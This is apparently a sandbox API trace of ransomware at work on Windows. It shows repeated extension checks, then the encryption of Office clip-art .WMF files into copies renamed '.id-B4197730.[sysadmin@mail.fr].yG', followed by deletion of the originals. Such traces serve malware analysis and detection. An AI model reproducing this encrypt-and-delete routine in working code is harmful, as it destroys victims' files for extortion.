	[0148.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.918] lstrlenW (lpString=".7z") returned 3
	[0148.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.919] lstrlenW (lpString=".dbf") returned 4
	[0148.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.919] lstrlenW (lpString=".1cd") returned 4
	[0148.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.919] lstrlenW (lpString=".jpg") returned 4
	[0148.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.919] lstrlenW (lpString=".doc") returned 4
	[0148.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.919] lstrlenW (lpString=".docx") returned 5
	[0148.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.919] lstrlenW (lpString=".pdf") returned 4
	[0148.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.919] lstrlenW (lpString=".xls") returned 4
	[0148.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.919] lstrlenW (lpString=".xlsx") returned 5
	[0148.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.919] lstrlenW (lpString=".ppt") returned 4
	[0148.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.919] lstrlenW (lpString=".zip") returned 4
	[0148.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.920] lstrlenW (lpString=".rar") returned 4
	[0148.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.920] lstrlenW (lpString=".bz2") returned 4
	[0148.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.920] lstrlenW (lpString=".7z") returned 3
	[0148.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.920] lstrlenW (lpString=".dbf") returned 4
	[0148.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.920] lstrlenW (lpString=".1cd") returned 4
	[0148.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0148.920] lstrlenW (lpString=".jpg") returned 4
	[0148.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.920] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.920] lstrlenW (lpString="FD01660_.WMF") returned 12
	[0148.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.921] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=12958) returned 1
	[0148.921] CloseHandle (hObject=0x4a4) returned 1
	[0148.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220
	[0148.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.922] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.922] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0148.923] GetLastError () returned 0x0
	[0148.923] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x329e, lpOverlapped=0x0) returned 1
	[0148.937] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x32a0, lpOverlapped=0x0) returned 1
	[0148.939] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.939] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.939] SetEndOfFile (hFile=0x518) returned 1
	[0148.939] CloseHandle (hObject=0x518) returned 1
	[0148.939] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.939] SetEndOfFile (hFile=0x4a4) returned 1
	[0148.942] CloseHandle (hObject=0x4a4) returned 1
	[0148.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1
	[0148.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.943] lstrlenW (lpString=".doc") returned 4
	[0148.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.943] lstrlenW (lpString=".docx") returned 5
	[0148.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.944] lstrlenW (lpString=".pdf") returned 4
	[0148.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.944] lstrlenW (lpString=".xls") returned 4
	[0148.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.944] lstrlenW (lpString=".xlsx") returned 5
	[0148.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.944] lstrlenW (lpString=".ppt") returned 4
	[0148.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.944] lstrlenW (lpString=".zip") returned 4
	[0148.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.944] lstrlenW (lpString=".rar") returned 4
	[0148.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.944] lstrlenW (lpString=".bz2") returned 4
	[0148.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString=".7z") returned 3
	[0148.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.945] lstrlenW (lpString=".dbf") returned 4
	[0148.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.945] lstrlenW (lpString=".1cd") returned 4
	[0148.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.945] lstrlenW (lpString=".jpg") returned 4
	[0148.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.945] lstrlenW (lpString=".doc") returned 4
	[0148.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString=".docx") returned 5
	[0148.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.945] lstrlenW (lpString=".pdf") returned 4
	[0148.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString=".xls") returned 4
	[0148.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.945] lstrlenW (lpString=".xlsx") returned 5
	[0148.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.945] lstrlenW (lpString=".ppt") returned 4
	[0148.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.945] lstrlenW (lpString=".zip") returned 4
	[0148.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.946] lstrlenW (lpString=".rar") returned 4
	[0148.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.946] lstrlenW (lpString=".bz2") returned 4
	[0148.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.946] lstrlenW (lpString=".7z") returned 3
	[0148.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.946] lstrlenW (lpString=".dbf") returned 4
	[0148.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.946] lstrlenW (lpString=".1cd") returned 4
	[0148.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0148.946] lstrlenW (lpString=".jpg") returned 4
	[0148.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.946] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.946] lstrlenW (lpString="FD02068_.WMF") returned 12
	[0148.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.947] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2488) returned 1
	[0148.947] CloseHandle (hObject=0x4a4) returned 1
	[0148.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220
	[0148.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.948] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.948] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0148.949] GetLastError () returned 0x0
	[0148.949] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0148.950] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0148.952] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.952] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.952] SetEndOfFile (hFile=0x518) returned 1
	[0148.952] CloseHandle (hObject=0x518) returned 1
	[0148.952] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.952] SetEndOfFile (hFile=0x4a4) returned 1
	[0148.955] CloseHandle (hObject=0x4a4) returned 1
	[0148.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1
	[0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.957] lstrlenW (lpString=".doc") returned 4
	[0148.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.957] lstrlenW (lpString=".docx") returned 5
	[0148.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.957] lstrlenW (lpString=".pdf") returned 4
	[0148.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.957] lstrlenW (lpString=".xls") returned 4
	[0148.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.957] lstrlenW (lpString=".xlsx") returned 5
	[0148.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.957] lstrlenW (lpString=".ppt") returned 4
	[0148.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.957] lstrlenW (lpString=".zip") returned 4
	[0148.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.957] lstrlenW (lpString=".rar") returned 4
	[0148.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.957] lstrlenW (lpString=".bz2") returned 4
	[0148.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.957] lstrlenW (lpString=".7z") returned 3
	[0148.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.957] lstrlenW (lpString=".dbf") returned 4
	[0148.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.958] lstrlenW (lpString=".1cd") returned 4
	[0148.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.958] lstrlenW (lpString=".jpg") returned 4
	[0148.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.958] lstrlenW (lpString=".doc") returned 4
	[0148.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString=".docx") returned 5
	[0148.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.958] lstrlenW (lpString=".pdf") returned 4
	[0148.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString=".xls") returned 4
	[0148.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.958] lstrlenW (lpString=".xlsx") returned 5
	[0148.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.958] lstrlenW (lpString=".ppt") returned 4
	[0148.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.958] lstrlenW (lpString=".zip") returned 4
	[0148.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.958] lstrlenW (lpString=".rar") returned 4
	[0148.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString=".bz2") returned 4
	[0148.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.958] lstrlenW (lpString=".7z") returned 3
	[0148.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.959] lstrlenW (lpString=".dbf") returned 4
	[0148.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.959] lstrlenW (lpString=".1cd") returned 4
	[0148.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0148.959] lstrlenW (lpString=".jpg") returned 4
	[0148.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.959] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.959] lstrlenW (lpString="FD02071_.WMF") returned 12
	[0148.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.960] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2188) returned 1
	[0148.960] CloseHandle (hObject=0x4a4) returned 1
	[0148.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220
	[0148.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0148.961] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.961] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0148.962] GetLastError () returned 0x0
	[0148.962] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x88c, lpOverlapped=0x0) returned 1
	[0149.065] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x890, lpOverlapped=0x0) returned 1
	[0149.066] ReadFile (in: hFile=0x4a4, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.066] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.066] SetEndOfFile (hFile=0x518) returned 1
	[0149.066] CloseHandle (hObject=0x518) returned 1
	[0149.066] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.066] SetEndOfFile (hFile=0x4a4) returned 1
	[0149.072] CloseHandle (hObject=0x4a4) returned 1
	[0149.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1
	[0149.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.073] lstrlenW (lpString=".doc") returned 4
	[0149.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.074] lstrlenW (lpString=".docx") returned 5
	[0149.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.074] lstrlenW (lpString=".pdf") returned 4
	[0149.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.074] lstrlenW (lpString=".xls") returned 4
	[0149.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.074] lstrlenW (lpString=".xlsx") returned 5
	[0149.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.074] lstrlenW (lpString=".ppt") returned 4
	[0149.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0149.074] lstrlenW (lpString=".zip") returned 4
	[0149.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.074] lstrlenW (lpString=".rar") returned 4
	[0149.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
